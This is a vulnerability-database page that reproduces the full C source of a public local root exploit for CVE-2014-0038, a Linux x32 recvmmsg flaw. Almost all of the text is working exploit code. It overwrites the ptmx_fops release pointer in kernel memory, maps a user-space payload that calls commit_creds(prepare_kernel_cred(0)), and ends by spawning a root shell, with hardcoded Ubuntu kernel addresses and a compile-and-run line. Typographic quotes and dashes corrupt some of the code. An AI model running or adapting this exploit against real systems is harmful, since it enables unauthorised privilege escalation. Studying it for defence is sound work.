ZeroBox Vulnerability Database

/*
* Local root exploit for CVE-2014-0038.
*
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
*
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
* passed from userspace.
*
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
* if the original byte at that address is known it can be overwritten
* with known data.
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
*
* Restrictions: The first long at the passed address (tv_sec) has to be positive
* and the second long (tv_nsec) has to be smaller than 1000000000.
*
* Overview: Target the release function pointer of the ptmx_fops structure located in
* non initialized (and thus writable) kernel memory. Zero out the three most
* significant bytes and thus turn it into a pointer to an address mappable in
* user space.
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
* is valid).
* Open /dev/ptmx, close it and enjoy.
*
* Not very beautiful but should be fairly reliable if symbols can be resolved.
*
* Tested on Ubuntu 13.10
*
* gcc timeoutpwn.c -o pwn && ./pwn
*
* Written by saelo
*/
#define _GNU_SOURCE
#include
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#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8

/*
* Adapt these addresses for your need.
* see /boot/System.map* or /proc/kallsyms
* These are the offsets from ubuntu 3.11.0-12-generic.
*/
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

/*
* Match signature of int release(struct inode*, struct file*).
*
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
*/
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
commit_creds(prepare_kernel_cred(0));

return -1;
}

/*
* Write a zero to the byte at then given address.
* Only works if the current value is 0xff.
*/
void zero_out(long addr)
{
int sockfd, retval, port, pid, i;
struct sockaddr_in sa;
char buf[BUFSIZE];
struct mmsghdr msgs;
struct iovec iovecs;

srand(time(NULL));

port = 1024 + (rand() % (0x10000 – 1024));

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror(“socket()”);
exit(EXIT_FAILURE);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror(“bind()”);
exit(EXIT_FAILURE);
}

memset(&msgs, 0, sizeof(msgs));
iovecs.iov_base = buf;
iovecs.iov_len = BUFSIZE;
msgs.msg_hdr.msg_iov = &iovecs;
msgs.msg_hdr.msg_iovlen = 1;

/*
* start a seperate process to send a udp message after 255 seconds so the syscall returns,
* but not after updating the timout struct and writing the remaining time into it.
* 0xff – 255 seconds = 0x00
*/
printf(“clearing byte at 0x%lx\n”, addr);
pid = fork();
if (pid == 0) {
memset(buf, 0x41, BUFSIZE);

if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror(“socket()”);
exit(EXIT_FAILURE);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

printf(“waiting 255 seconds…\n”);
for (i = 0; i < 255; i++) { if (i % 10 == 0) printf("%is/255s\n", i); sleep(1); } printf("waking up parent...\n"); sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); exit(EXIT_SUCCESS); } else if (pid > 0) {
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
if (retval == -1) {
printf(“address can’t be written to, not a valid timespec struct\n”);
exit(EXIT_FAILURE);
}
waitpid(pid, 0, 0);
printf(“byte zeroed out\n”);
} else {
perror(“fork()”);
exit(EXIT_FAILURE);
}
}

int main(int argc, char** argv)
{
long code, target;
int pwn;

/* Prepare payload… */
printf(“preparing payload buffer…\n”);
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset((void*)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE – 1024;
memcpy((void*)code, &kernel_payload, 1024);

/*
* Now clear the three most significant bytes of the fops pointer
* to the release function.
* This will make it point into the memory region mapped above.
*/
printf(“changing kernel pointer to point into controlled buffer…\n”);
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);

/* … and trigger. */
printf(“releasing file descriptor to call manipulated pointer in kernel mode…\n”);
pwn = open(“/dev/ptmx”, ‘r’);
close(pwn);

if (getuid() != 0) {
printf(“failed to get root :(\n”);
exit(EXIT_FAILURE);
}

printf(“got root, enjoy :)\n”);
return execl(“/bin/bash”, “-sh”, NULL);
}